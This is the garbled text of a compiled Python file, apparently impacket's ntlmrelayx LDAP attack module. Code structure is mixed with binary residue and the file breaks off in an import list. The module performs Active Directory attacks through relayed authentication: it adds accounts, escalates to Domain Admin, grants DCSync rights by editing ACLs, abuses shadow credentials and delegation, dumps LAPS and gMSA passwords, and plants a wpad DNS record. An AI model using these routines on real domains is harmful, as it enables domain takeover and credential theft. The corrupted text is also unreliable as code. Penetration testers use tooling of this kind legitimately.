o
    j                     @   s  d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlZ	d dl
Z
d dlZd dlmZ d dlmZ d dlmZ d dlmZ d dlZd dlmZ d dlmZmZ d dlmZ d d	lmZ d d
lmZ d dl m!Z! d dl"m#Z# d dl$m%Z% d dl&m'Z'm(Z(m)Z)m*Z*m+Z+ d dl,m-Z-m.Z. d dl/m0Z0m1Z1 d dl2m3Z3 zd dlmZ W n e4y   e5d Y nw dZ6da7da8da9da:g a;G dd de0Z<G dd de!Z=dd Z>dd Z?dd Z@dd ZAd d! ZBdS )"    N)RESULT_UNWILLING_TO_PERFORM)security_descriptor_control)
format_sidescape_filter_chars)MD4)IPv4AddressAddressValueError)partial)LOG)	LdapShell)ProtocolAttack)TcpShell)	ldaptypes)ACCESS_ALLOWED_OBJECT_ACEACCESS_MASKACCESS_ALLOWED_ACEACEOBJECTTYPE_GUID_MAP)string_to_binbin_to_string)	Structurehexdump)shadow_credentialszFailed to import required functions from ldap3. ntlmrelayx requires ldap3 >= 2.5.0. Please update with 'python -m pip install ldap3 --upgrade'
LDAPAttackFc                   @   s"   e Zd ZdZdddZdd ZdS )MSDS_MANAGEDPASSWORD_BLOB))Version<H)Reservedr   )Lengthz<L)CurrentPasswordOffsetr   )PreviousPasswordOffsetr   )QueryPasswordIntervalOffsetr   )UnchangedPasswordIntervalOffsetr   )CurrentPassword:)PreviousPasswordr%   )QueryPasswordIntervalr%   )UnchangedPasswordIntervalr%   Nc                 C   s   t j| |d d S )Ndata)r   __init__)selfr*    r-   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/ldapattack.pyr+   S   s   z"MSDS_MANAGEDPASSWORD_BLOB.__init__c                 C   s   t | | | d dkr| d }n| d }| j| d d  d || d   | d< | d dkrC| j| d d  d | d | d   | d< | j| d d  d | d | d   | d< | j| d d  | d	< d S )
Nr!   r   r"   r    r$   r&   r#   r'   r(   )r   
fromStringrawData)r,   r*   endDatar-   r-   r.   r/   V   s   
&**z$MSDS_MANAGEDPASSWORD_BLOB.fromStringN)__name__
__module____qualname__	structurer+   r/   r-   r-   r-   r.   r   C   s    
r   c                   @   s   e Zd ZdZddgZdZdZdZdZd'd	d
Z	dd Z
dd Zdd Zdd Zdd Zdd Zdd Zdd Zdd Zdd Zedd  Zd!d" Zd#d$ Zd%d& ZdS )(r   a  
    This is the default LDAP attack. It checks the privileges of the relayed account
    and performs a domaindump if the user does not have administrative privileges.
    If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.
    LDAPLDAPSi  i(  i   Nc                 C   sf   |j sdn|j d | _|j rt|j dk rdn|j d | _t| ||||| | jjr1t | _	d S d S )N r         )
addcomputercomputerNamelencomputerPasswordr   r+   configinteractiver   	tcp_shell)r,   rA   
LDAPClientusernametargetrelay_clientr-   r-   r.   r+   w   s   $zLDAPAttack.__init__c                 C   s  t r	td dS | jjs#| jjjs#td | j s#td dS |j	}t
jdd||dd t
jd	d
d }| j}|sQddd tdD d  }n|drX|n|d }| j}|snddd tdD }n|}|dd }	d|	|f d}
d|	 d|	|f d|	 d|	|f g}d|	|f d||d|dd}td| td| | j|
dg d |}|s| jjd! tkr| jjjstd" dS td#t| jj  dS td$||f  d%a |S )&z
        Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        z3New computer already added. Refusing to add anotherFzwAdding a machine account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLSStartTLS failed,DC=.DC=Nflags   r:   c                 s       | ]	}t tjV  qd S r2   randomchoicestringascii_letters.0_r-   r-   r.   	<genexpr>       z)LDAPAttack.addComputer.<locals>.<genexpr>   $c                 s   &    | ]}t tjtj d  V  qdS z.,;:!$-_+/*(){}#@<>^NrQ   rR   rS   rT   digitsrU   r-   r-   r.   rX         $    CN=%s,%sutf-8zHOST/%sz
HOST/%s.%szRestrictedKrbHost/%szRestrictedKrbHost/%s.%sz%s.%si   "{}"	utf-16-le)dnsHostNameuserAccountControlservicePrincipalNamesAMAccountName
unicodePwdzNew computer info %sz$Attempting to create computer in: %s)toppersonorganizationalPersonusercomputerresultzFailed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.z Failed to add a new computer: %szAAdding new computer with username: %s and password: %s result: OKT)alreadyAddedComputerr   errorclienttls_startedserversslinfo	start_tlsrootresubfindIr>   joinrangeupperendswithr@   encodeformatdebugadddecoderq   r   str)r,   parentdomainDumperdomaindndomainr>   newComputerr@   newPasswordcomputerHostnamenewComputerDnspnsucdresr-   r-   r.   addComputer   sV   



*"



zLDAPAttack.addComputerc                 C   s,  t r	td dS | jjs#| jjjs#td | j s#td dS d	dd t
d	D }d	d
d t
dD }d||f }d|j ||||||dd|d|dd}td| | j|g d|}|s| jjd tkr~| jjjs~td dS tdt| jj  dS td||f  |S )z
        Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        z/New user already added. Refusing to add anotherNztAdding a user account to the domain requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLSrH   Fr:   c                 s   r\   r]   r^   rU   r-   r-   r.   rX      r`   z%LDAPAttack.addUser.<locals>.<genexpr>ra   c                 s   rO   r2   rP   rU   r-   r-   r.   rX      rY   
   rc   z'CN=Person,CN=Schema,CN=Configuration,%s   0re   rf   )objectCategorydistinguishedNamecnsn	givenNamedisplayNamenamerh   accountExpiresrj   rk   z Attempting to create user in: %s)rl   rm   rn   ro   rq   zFailed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.zFailed to add a new user: %sz=Adding new user with username: %s and password: %s result: OK)alreadyEscalatedr   rs   rt   ru   rv   rw   rx   ry   r   r   rz   r   r   r   rq   r   r   )r,   r   r   r   newUser	newUserDnr   r   r-   r-   r.   addUser   sB   




zLDAPAttack.addUserc                 C   s   | dd dd  }| dd dd  }| j|dtj|gfgi}|r<td||f  td dat	  d S t
d|t| jjf  d S )	N,r   rN   memberz&Adding user: %s to group %s result: OKz0Privilege escalation succesful, shutting down...Tz"Failed to add user to %s group: %s)splitrt   modifyldap3
MODIFY_ADDr   rx   r   _threadinterrupt_mainrs   r   rq   )r,   userDnr   groupDn	groupNameuserNamer   r-   r-   r.   addUserToGroup   s   
zLDAPAttack.addUserToGroupc                 C   s  | j j}|s	| j}|tv rtd|  d S td |j}tjdd||	dd  tj
ddd  }| ||}|sBtd d S |d	 }td
|  td tj|d\}}td td tj|t t d}	| jj|dtjg dd d }
| jjD ]}|d dkrq|}
q|
std d S z$|
d d t|	 |g }td|  | j|dtj|gi | jjd d	krtd | j jd u rddd tdD }td|  n| j j}| j j d kr"tj!|||d! td"| d#  td$| d%  td& td' td(|||||f  W d S | j j d)kr| j j"d u rDdd*d td+D }td,|  n| j j"}tj#||||d- td.| d/  td0|  td& td' td1|||||f  t$| W d S W d S | jjd d2krtd3| jjd4   W d S | jjd d5krtd6| jjd4   W d S td7| jjd4   W d S  t%y   td8 Y d S w )9Nz<Shadow credentials attack already performed for %s, skippingz Searching for the target accountrI   rJ   rK   rL   rN   z.Target account does not exist! (wrong domain?)r   zTarget user found: %szGenerating certificate)subjectzCertificate generatedzGenerating KeyCredential)deviceIdcurrentTime(objectClass=*))SAMAccountName	objectSidmsDS-KeyCredentialLinksearch_scope
attributestypesearchResEntry&Could not query target user propertiesraw_attributesr   z3Updating the msDS-KeyCredentialLink attribute of %srq   zAUpdated the msDS-KeyCredentialLink attribute of the target objectr:   c                 s   "    | ]}t tjtj V  qd S r2   r^   rV   ir-   r-   r.   rX   5       z5LDAPAttack.shadowCredentialsAttack.<locals>.<genexpr>rZ   zTNo outfile path was provided. The certificate(s) will be store with the filename: %sPEM)path_to_filesz!Saved PEM certificate at path: %sz	_cert.pemz!Saved PEM private key at path: %sz	_priv.pemzFA TGT can now be obtained with https://github.com/dirkjanm/PKINITtoolsz)Run the following command to obtain a TGTz^python3 PKINITtools/gettgtpkinit.py -cert-pem %s_cert.pem -key-pem %s_priv.pem %s/%s %s.ccachePFXc                 s   r   r2   r^   r   r-   r-   r.   rX   B  r      zINo pass was provided. The certificate will be store with the password: %s)passwordpath_to_filez1Saved PFX (#PKCS12) certificate & key at path: %sz.pfxzMust be used with password: %szQpython3 PKINITtools/gettgtpkinit.py -cert-pfx %s.pfx -pfx-pass %s %s/%s %s.ccache2   CCould not modify object, the server reports insufficient rights: %smessage   GCould not modify object, the server reports a constrained violation: %s The server returned an error: %sz/Attribute msDS-KeyCredentialLink does not exist)&rA   ShadowCredentialsTargetrE   delegatePerformedr   rx   rz   r{   r|   r}   r~   getUserInfors   r   createSelfSignedX509CertificateKeyCredentialgetDeviceIdgetTicksNowrt   searchr   BASEresponsetoDNWithBinary2String
dumpBinaryr   MODIFY_REPLACErq   ShadowCredentialsOutfilePathr   r   r   ShadowCredentialsExportType	exportPEMShadowCredentialsPFXPassword	exportPFXappend
IndexError)r,   r   currentShadowCredentialsTargetr   r   rq   	target_dnkeycertificatekeyCredentialresultsentry
new_valuespathr   r-   r-   r.   shadowCredentialsAttack  s   
*










z"LDAPAttack.shadowCredentialsAttackc                 C   s  |t v rtd d S |s| d|j |}|| j_|s2| ||}|s+td d S t	|d }n|}| ||}|sCtd d S |d }| j
j|dtjg dd	 d }| j
jD ]}	|	d
 dkrcqZ|	}qZ|sotd d S z(tj|d d d d}
td |
d jD ]}td|d d    qW n ty   t }
Y nw |
d jt| | j
|d dtj|
 ggi | j
jd dkrtd td|| t | d S | j
jd dkrtd| j
jd  d S | j
jd dkrtd| j
jd  d S td| j
jd  d S )Nz=Delegate attack already performed for this computer, skippingzCN=Computers,%sz User to escalate does not exist!r<   z2Computer to modify does not exist! (wrong domain?)r   r   )r   r   (msDS-AllowedToActOnBehalfOfOtherIdentityr   r   r   r   r   r   r)   zCurrently allowed sids:Daclz    %sAceSiddnrq   z'Delegation rights modified succesfully!z0%s can now impersonate users on %s via S4U2Proxyr   r   r   r   r   r   )r   r   rx   r   rz   rA   escalateuserr   rs   r   rt   r   r   r   r   r   SR_SECURITY_DESCRIPTORr   acesformatCanonicalr   create_empty_sdr   create_allow_acer   r   getDatarq   )r,   usersam	targetsamr   sidrq   escalate_sidr   
targetuserr   sdacer-   r-   r.   delegateAttackX  sf   





"

zLDAPAttack.delegateAttackc                 C   s  t r	td d S i }z| jj|dddgd | jjd }W n ty/   td|  Y d S w |d j}|d j}td||f  t	d	d
}da t
d | jj|jdddg|d | jjd }|d jd }tj|d}	t|d|d< ||d< |	d d td| |	d d td| |j}
|	 }| jj|
dtj|gfi|d | jjd dkrda t
d| t
d | jj|jdddg|d | jjd }|d jd }|
|d< t|d|d< d|d< | ||
 dS td | jj  d!S )"Nz2ACL attack already performed. Refusing to continuez(objectClass=user)rj   r   r   r   z%Could not retrieve infos for user: %szFound sid for user %s: %s   sdflagsTz#Querying domain security descriptorz(&(objectCategory=domain))r   nTSecurityDescriptorr   controlsr)   rd   old_sd
target_sidr   Dataz$1131f6aa-9c07-11d1-f79f-00c04fc2dcd2z$1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)r  rq   zMSuccess! User %s now has Replication-Get-Changes-All privileges on the domainz5Try using DCSync with secretsdump.py and this user :)r   new_sdsuccesszError when updating ACL: %sF)r   r   rs   rt   r   entriesr   valuer   r   rx   rz   
raw_valuesr   r   binasciihexlifyr   r   create_object_aceentry_dnr   r   r   r   rq   writeRestoreData)r,   r   r   restoredatar   rE   usersidr  secDescDatasecDescr   r*   newSDr-   r-   r.   	aclAttack  sT   





zLDAPAttack.aclAttackc                 C   s   i }t jdd||dd  t jddd  }| jjj|d|d< d|| jd	g|d
< tj	 }d|
d }t|dd}t|| W d    n1 sOw   Y  td| d S )NrI   rJ   rK   rL   rN   )rv   r   rA   add_domain_sync)	operationr*   contextuserhistoryzaclpwn-%s.restorez%Y%m%d-%H%M%Swrd   zSaved restore state to %s)r{   r|   r}   r~   rt   rv   hostrE   datetimenowstrftimecodecsopenjsondumpr   rx   )r,   r  r   outputr   r"  filenameoutfiler-   r-   r.   r    s   *
zLDAPAttack.writeRestoreDatac                 C   sH  g }i }dd dd dd d}| j j|jdt| ddgd | j jd }|d j}|j||< || | j j|jdt|j d	dgd t	d
| j j  | j jD ]}|j||d j< ||d j qP| j j|jddgd | j jd d j}	|d j}
| j j|jd|	|
f g dd | j jd }t	d
| j j  |j||d j< ||d j t
dd}| j jjj|jdddg|dd}| ||||| | j jjj|jdddg|dd}| ||||| d|	df d|	df dddg}d|d< |D ](}| j j|jd| ddg|d | j j}| ||||| |d r ||fS q||fS )NF)createcreateInescalateViaGroupescalateGroupaclEscalateaclEscalateIn(sAMAccountName=%s)r   primaryGroupIdr  r   z$(member:1.2.840.113556.1.4.1941:=%s)r   zUser is a member of: %sz(objectClass=domain)z(objectSid=%s-%d))r   r   r      r  z7(|(objectClass=domain)(objectClass=organizationalUnit))r  objectClassT)r   r  	generatorz$(&(cn=Users)(objectClass=container))z%s-%di  r   S-1-5-32-544zS-1-5-32-551zS-1-5-32-548r-  z(objectSid=%s)r  )rt   r   rz   r   r  r  r  r   r   r   r   extendstandardpaged_searchcheckSecurityDescriptorsr   )r,   unamer   
membersids
sidmappingprivsro   r  r   	domainsidgidgroupr  r  interestingGroups	groupdatar-   r-   r.   validatePrivileges  s`    


"
 
  


zLDAPAttack.validatePrivilegesc                 C   sj   | j j|jdt| dgd}z| j jd j}| j jd d }||fW S  ty4   td|  Y dS w )Nr1  r   r  r   zUser not found in LDAP: %sF)	rt   r   rz   r   r  r  r   r   rs   )r,   r   samnamer  r   r   r-   r-   r.   r     s   
zLDAPAttack.getUserInfoc              	   C   sv  | j | j| jtjg}|D ]}|d dkrq|d }z
|d d d }	W n ty3   td| Y qw d}
t	 }|
|	 |d	 d
kr`|d	  |v r`|d	  }td||| f  d}
|d jD ]Q}|d d  }|d tjkr|d tjkrqe|tjs|tjrqe|d tjkr|tjr|d tjrt|d d  }| ||d d d sqe|d d d |v s|d d tjr|d tjkr|d tjrt|d d  }| ||d d d sqe||v r|d d | j rtd||| f  d}
t|s|
rQ|
s%td||| f  |d|j kr6d|d< ||d< n|d d|j krQd|d d v rQd|d< ||d< t|sY|
rxd|d d v rx|
sptd||| f  d|d< ||d< |d d tjs|
r|d tjkr|d tjrqe|
std ||| f  d!|d d v rd|d"< ||d#< qeqd S )$Nr   r   r   r   r  r   z2Access to security descriptor was denied for DN %sFOwnerSidr:   z:Permission found: Full Control on %s; Reason: Owner via %sTr   r   r   AceTypeInheritedObjectTyper4  rb   Mask
ObjectTypez@Permission found: Full Control on %s; Reason: GENERIC_ALL via %sz;Permission found: Create users in %s; Reason: Granted to %szCN=Users,%sr+  r,  s   organizationalUnits   groupz9Permission found: Add member to %s; Reason: Granted to %sr-  r.  z9Permission found: Write Dacl of %s; Reason: Granted to %ss   domainr/  r0  )GENERIC_ALLGENERIC_WRITEGENERIC_READr   
WRITE_DACLr   r   r   r   r   r/   r   r   r   ACE_TYPEr   hasFlagr   INHERITED_ACEINHERIT_ONLY_ACE!ACE_INHERITED_OBJECT_TYPE_PRESENTr   lower
aceApplieshasPrivACE_OBJECT_TYPE_PRESENTcan_create_usersrz   can_add_member)r,   r  r>  r<  r=  r   standardrightsr   r   sdDatahasFullControlr  r   r   inheritedObjectType
objectTyper-   r-   r.   r:     s   


(

&z#LDAPAttack.checkSecurityDescriptorsc                 C   s2   zt | }W n
 ty   Y dS w | |krdS dS )a  
        Checks if an ACE applies to this object (based on object classes).
        Note that this function assumes you already verified that InheritedObjectType is set (via the flag).
        If this is not set, the ACE applies to all object types.
        FT)r   KeyError)ace_guidobject_classour_ace_guidr-   r-   r.   rU  x  s   zLDAPAttack.aceAppliesc           
         s  dd dd } fdd}t d jjjjd d	  g d
}jjd  dtj|tddd t	jj
s@t d d S t }t jj
D ]V}t d|d d |d d ddd |d d D f  ||d d  ||}t }||}|| t d|d d dfdd|D f  qJt	|st d d S t d g d}	jjd  dd d!d |D  tj|	tddd fd"djj
D D ]/}||}t }||}|| t d#|d d$ dfd%d|D f  qd S )&Nc                    sj   g d | d d d@ rdS t | d d sdS zt fd	d
| d d D  W dS  ty4   Y dS w )N)s   1.3.6.1.5.5.7.3.2s   1.3.6.1.5.2.3.4s   1.3.6.1.4.1.311.20.2.2s   2.5.29.37.0r   msPKI-Enrollment-Flagr;   Fr   pKIExtendedKeyUsageTc                 3   s    | ]	}| v r|V  qd S r2   r-   )rV   ekuauthentication_ekusr-   r.   rX     rY   zPLDAPAttack.dumpADCS.<locals>.is_template_for_authentification.<locals>.<genexpr>)r?   nextStopIteration)r   r-   rf  r.    is_template_for_authentification  s   z=LDAPAttack.dumpADCS.<locals>.is_template_for_authentificationc                 S   s   t  }|| d d d  g d}t }dd |d d D D ]=}t|d	 d
  }|d	 d dkr@t|d	 d  }n|d	 d dkrSt|d	 d  }nq!||vrYq!|| q!|S )Nr   r  r   )z$00000000-0000-0000-0000-000000000000z$0e10c968-78fb-11d2-90d4-00c04f79dc55z$a05b8cc2-17bc-4802-a710-e7c15ab866a2c                 s   s$    | ]}|d  t jjkr|V  qdS )rG  N)r   r   rO  )rV   ar-   r-   r.   rX     s   " zILDAPAttack.dumpADCS.<locals>.get_enrollment_principals.<locals>.<genexpr>r   r
  r   r   Flagsr;   rH  r<   rJ  )	r   r   r/   setr   r   r   rT  r   )r   r   enrollment_uuidsenrollment_principalsr   r   uuidr-   r-   r.   get_enrollment_principals  s   z6LDAPAttack.dumpADCS.<locals>.get_enrollment_principalsc              	      s   j jjjd d }zj jjjd d dd }W n ttfy(   d}Y nw t }| D ]O}z(|drFj j	|d| d	d
gt
jd nj j	d  d| d	d
gt
jd W n	   |||< Y q.tj jsm|||< q.|d j jd d d	  ||< q.|S )NdefaultNamingContextr   ldapServiceName@r<   r:   z	S-1-5-21-z9(&(objectSid=%s)(|(objectClass=group)(objectClass=user)))r   r   )r   r   z!CN=WellKnown Security Principals,z7(&(objectSid=%s)(objectClass=foreignSecurityPrincipal))\r   )rt   rv   rx   otherr   r_  r   dict
startswithr   r   SUBTREELEVELr?   r  r   )sidsdefault_naming_contextdomain_fqdnsid_mapr   )configuration_naming_contextr,   r-   r.   translate_sids  s2   "


"z+LDAPAttack.dumpADCS.<locals>.translate_sidsz0Attempting to dump ADCS enrollment services infoconfigurationNamingContextr   )certificateTemplatesr   dNSHostNamezmsPKI-Enrollment-Serversr  z:CN=Enrollment Services,CN=Public Key Services,CN=Services,z"(objectClass=pKIEnrollmentService)r  r  )r   r   r  z No ADCS enrollment service foundzGFound ADCS enrollment service `%s` on host `%s`, offering templates: %sr   r   r  z, c                 s   s    | ]	}d | d  V  qdS `Nr-   rV   tplr-   r-   r.   rX     rY   z&LDAPAttack.dumpADCS.<locals>.<genexpr>r  z8Principals who can enroll on enrollment service `%s`: %sc                 3        | ]}d  |  d  V  qdS r  r-   rV   	principalr~  r-   r.   rX         z/No templates offered by the enrollment serviceszAttempting to dump ADCS certificate templates enrollment rights, for templates allowing for client authentication and not requiring manager approval)rc  r   r  rd  z<CN=Certificate Templates,CN=Public Key Services,CN=Services,z,(&(objectClass=pKICertificateTemplate)(|%s))r:   c                 s   s     | ]}d t | d V  qdS )z(name=)Nr   r  r-   r-   r.   rX     r  c                 3   s    | ]	} |r|V  qd S r2   r-   )rV   e)rj  r-   r.   rX     rY   z1Principals who can enroll using template `%s`: %sr   c                 3   r  r  r-   r  r  r-   r.   rX     r  )r   rx   rt   rv   rv  r   r   rz  r   r?   r   rm  rw  r   updatekeys
difference)
r,   rq  r  enrollment_service_attributesoffered_templatesr   ro  
known_sidsunknwown_sidscertificate_template_attributesr-   )r  rj  r,   r~  r.   dumpADCS  s\   

$





zLDAPAttack.dumpADCSc                    s|  dd  fdd}dd dd }zt d	d
 | jjjjD }W n ty2   td Y d S w | jjjjd d }t	j
dd||dd  t	jddd  }d||f }t|| jjjd d d | td|  | jj|dt| tjdrtd|  d S td|  d}	|}
|
 dk}|rtd ddd
 tdD }
d |
|f }||d!d"| jjjjd# d  d$|
|	d%}td&|
||f  | j|d'd(g|std)t| jj  d S td*|
  |sd S d}d ||f }|
d | }||d+d"| jjjjd# d  d$||	d%}td,|||f  | j|d'd(g|s5td-t| jj  d S td.|  d S )/Nc                 S   s   dd t | D }t }t|dkrKd}|D ]}|| }|| || |||  d |d }q|t| |  || |d  d |S |t|  || d |S )Nc                 S   s   g | ]
\}}|d kr|qS )rJ   r-   )rV   poscharr-   r-   r.   
<listcomp>  s    zFLDAPAttack.addDnsRecord.<locals>.new_dns_namearray.<locals>.<listcomp>r   utf8r<   )	enumerate	bytearrayr?   r   r7  r   )r*   index_array
name_array
name_startindexname_endr-   r-   r.   new_dns_namearray  s   

z2LDAPAttack.addDnsRecord.<locals>.new_dns_namearrayc                    s  |dkr|  d}td}t|dd }ttt|}n9|dkrVtd}t| d dd }t }|t| d  |t|  d ||  |d nd	S ttd
}t|}|| |td |   || |d || |S )NArJ   )r<   r   r   r;   NS)r;   r   r  F<   )r3     r   r   )r   r   r   r   r   r   r   r   )r   r  r?   mapintr   r7  reversed)r*   r   	addr_datadns_type
dns_lengthdns_datadns_ttl
dns_recordget_next_serial_pint_to_4_bytesr  r-   r.   new_dns_record  s.   




z/LDAPAttack.addDnsRecord.<locals>.new_dns_recordc                 S   s.   t  }tdD ]}|| d@  | dL } q|S )Nr     rZ   )r  r   r   )numarrr   r-   r-   r.   r  8  s
   
z/LDAPAttack.addDnsRecord.<locals>.int_to_4_bytesc                 S   s<   t j }| g|_|j|ddd}|D ]}|jd   S d S )NSOAT)tcpr<   )dnsresolverResolvernameserversresolveserial)rv   zonednsresolverr   answerr-   r-   r.   get_next_serial@  s   
z0LDAPAttack.addDnsRecord.<locals>.get_next_serialc                 s   s     | ]}d |  v r|V  qdS )domaindnszonesN)rT  )rV   ncr-   r-   r.   rX   H  r  z*LDAPAttack.addDnsRecord.<locals>.<genexpr>z+Could not find DNS naming context, abortingrr  r   rI   rJ   rK   rL   rN   zDC=%s,CN=MicrosoftDNS,%sr  z0Checking if domain already has a `%s` DNS recordz	(name=%s))r   z.Domain already has a `%s` DNS record, abortingz#Domain does not have a `%s` record!sD                    0                  
             wpadzTo add the `wpad` name, we need to bypass the GQBL: we'll first add a random `A` name and then add `wpad` as `NS` pointing to that namer:   c                 s   rO   r2   )rQ   rR   rS   ascii_lowercaserU   r-   r-   r.   rX   a  rY      zDC=%s,%sr  zCN=Dns-Node,%sschemaNamingContextF)	dnsRecordr   dNSTombstonedr   r  z/Adding `A` record `%s` pointing to `%s` at `%s`rl   dnsNodezFailed to add `A` record: %sznAdded `A` record `%s`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)r  z0Adding `NS` record `%s` pointing to `%s` at `%s`z$Failed to add `NS` record `wpad`: %szoAdded `NS` record `%s`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte))rh  rt   rv   rx   naming_contextsri  r   rs   rv  r{   r|   r}   r~   r
   address_infor   r   r   rz  rT  r   r   r   r   rq   )r,   r   ipaddrr  r  dns_naming_contextr   r   dns_base_dnACL_ALLOW_EVERYONE_EVERYTHINGa_record_nameis_name_wpada_record_dna_record_datans_record_namens_record_dnns_record_valuens_record_datar-   r  r.   addDnsRecord
  sj   
*
zLDAPAttack.addDnsRecordc                 C   s  t  }| jj|_t | jj| j|}| jjr=| j	d ur=t
d| j	j| j| jf  | j	  t| j	|| j}|  d S | jjrzt
d | | j|\}}|d rXt
d |d rp|d dd d	d  }t
d
|  |d ryt
d nt
d t }d|d< d|d< d|d< | jjr|d rt
d | jjr| || jj}|st
d n+|\}}| || n |d r| |d |}|st
d n| || nt
d | jjr1|d r1t
d | jjr| || jj}|st
d n3|\}}| |||d  n%|d r,| |d |}|s"t
d n| |||d  nt
d | jjrt
d | jj |j!dt"j#ddgd}	|	rd }
d| j d t$t%&dd }d}| jj'D ]G}z?d|d d   }d!|d d  }|
d u rt(|d"}
|d#7 }t
| t
| |
)| |
)d$ |
)| |
)d$ W qc   Y qc|
d u rt
d%| j  nt
d&|| jf  |
*  | jj+rt
d' | jj,s| jjj-st
d( | j. st
d) dS | jj |j!d*t"j#d+d,gd}	|	rd }
d-| j d t$t%&dd }d}| jj'D ][}zS|d d+ }|d d, }t/ }|0| t12 }|3|d. d d/  t45|6 7d0}|d1 | }t
| |d#7 }|
d u r_t(|d"}
|
)| |
)d$ W q   Y q|
d u rt
d2| j  nt
d3|| jf  |
*  t8s| jj9rda8| :  t
d4 | jj;r| jj;d }| jj;d# }d}d}|d5krt< d6|t<j=rt
d7 d}zt>| W n t?y   t
d8 d}Y nw |r|r| @|| | jjAd ur| jj |j!d9d:gd; d<d= | jjBd d: D d }t
d>C| | D|| | jjEr:| jd? d@kr:| F| jj| j|| jjG d S | jjHrF| I| d S tJs`| jjKrbdaJt
dA |L  t
dB d S d S d S )CNz?Started interactive Ldap shell via TCP on 127.0.0.1:%d as %s/%szMEnumerating relayed user's privileges. This may take a while on large domainsr+  z"User privileges found: Create userr-  r.  r   r   rN   z=User privileges found: Adding user to a privileged group (%s)r/  z+User privileges found: Modifying domain ACLzFAssuming relayed user has privileges to escalate a user via ACL attackFTzPerforming ACL attackz(Unable to escalate without a valid user.r,  zCannot perform ACL escalation because we do not have create user privileges. Specify a user to assign privileges to with --escalate-userzPerforming Group attackz2Unable to escalate without a valid user, aborting.z!Attempting to dump LAPS passwordsz(&(objectCategory=computer))DistinguishedNamezms-MCS-AdmPwdr   z
laps-dump--i zDN:r   distinguishednamez	Password:za+r<   
zHThe relayed user %s does not have permissions to read any LAPS passwordsz@Successfully dumped %d LAPS passwords through relayed account %sz!Attempting to dump gMSA passwordszfDumping gMSA password requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLSrH   z0(&(ObjectClass=msDS-GroupManagedServiceAccount))rj   zmsDS-ManagedPasswordz
gmsa-dump-r$   rd   z:::zHThe relayed user %s does not have permissions to read any gMSA passwordsz@Successfully dumped %d gMSA passwords through relayed account %szDone dumping ADCS info*z
[^0-9a-z-]zInvalid name for DNS recordzInvalid IPv4 for DNS recordz(ObjectClass=domain)wellKnownObjectsr  c                 S   s(   g | ]}d |v r| ddd qS )s    AA312825768811D1ADED00C04FD8D5CDrd   r%   rb   )r   r   )rV   r   r-   r-   r.   r  Z  s
    z"LDAPAttack.run.<locals>.<listcomp>zComputer container is {}rb   r[   z"Dumping domain info for first timez Domain info dumped into lootdir!)MldapdomaindumpdomainDumpConfigrA   lootdirbasepathr   rt   rv   rB   rC   r   rx   portr   rE   listenr   cmdloopvalidateprivsrD  r   rw  	aclattackr   r   r   rs   r  r   adddar   dumplapsr   rz   r   ry  r   rQ   randintr   r%  writeclosedumpgmsaru   rw   ry   r   r/   r   newr  r  r  digestr   
dumpedAdcsdumpadcsr  adddnsrecordr{   r~   r   r	   r  r=   r  r   r   delegateaccessr   r   IsShadowCredentialsAttackr   dumpedDomain
dumpdomain
domainDump)r,   r  r   
ldap_shelluserSidr>  r   rq   r   r  fdr)  countr   r   passwdsamr*   blobhashuserpassr  dns_name_okdns_ipaddr_okcomputerscontainerr-   r-   r.   run  s6  







































zLDAPAttack.run)NN)r3   r4   r5   __doc__PLUGIN_NAMESrM  rL  GENERIC_EXECUTErK  r+   r   r   r   r   r   r  r  rD  r   r:  staticmethodrU  r  r  r  r-   r-   r-   r.   r   f   s2    
C2S;:=
X
  c                 C   s   t  }t jj|d< d|d< t  }t  |d< t jj|d d< t| |d< d|d< t  |d< |d | ||d 	 ksAJ t jj
|d	< ||d
< |S )NrG  r   AceFlagsrI  rJ      rH  r   rl  r   )r   r   r   rO  r   ADS_RIGHT_DS_CONTROL_ACCESSr   LDAP_SIDfromCanonicalr   rW  )privguidr   naceacedatar-   r-   r.   r  t  s   r  c                 C   sb   t  }t jj|d< d|d< t  }t  |d< d|d d< t  |d< |d |  ||d< |S )NrG  r   r  rI  r9   r   r   )r   r   r   rO  r   r  r  )r   r  r  r-   r-   r.   r     s   r   c                  C   s|   t  } d| d< d| d< d| d< t  | d< | d d d	| d
< d	| d< t  }d|d< d|d< d|d< g |_|| d< | S )N   Revision    Sbz1i  ControlrF  r6  r  GroupSidSaclr  AclRevisionr   Sbz2r   )r   r   r  r  ACLr   )r   aclr-   r-   r.   r     s   r   c                 C   sV   | d d  tj}| d tjks| d d dkrdS t| d d  dk}|o*|S )Nr   rI  rG  rJ  r  Fz$bf967aba-0de6-11d0-a285-00aa003049e2)rV  r   ADS_RIGHT_DS_CREATE_CHILDrO  r   rT  )r   createprivs	userprivsr-   r-   r.   rX    
   rX  c                 C   sV   | d d  tj}| d tjks| d d dkr|S t| d d  dk}|o*|S )Nr   rI  rG  rJ  r  z$bf9679c0-0de6-11d0-a285-00aa003049e2)rV  r   ADS_RIGHT_DS_WRITE_PROPrO  r   rT  )r   
writeprivsr"  r-   r-   r.   rY    r#  rY  )Cr   rQ   rS   r&  r!  r  r$  r{   dns.resolverr  r   r  ldap3.core.resultsr   ldap3.protocol.microsoftr   $ldap3.protocol.formatters.formattersr   ldap3.utils.convr   osCryptodome.Hashr   	ipaddressr   r	   	functoolsr
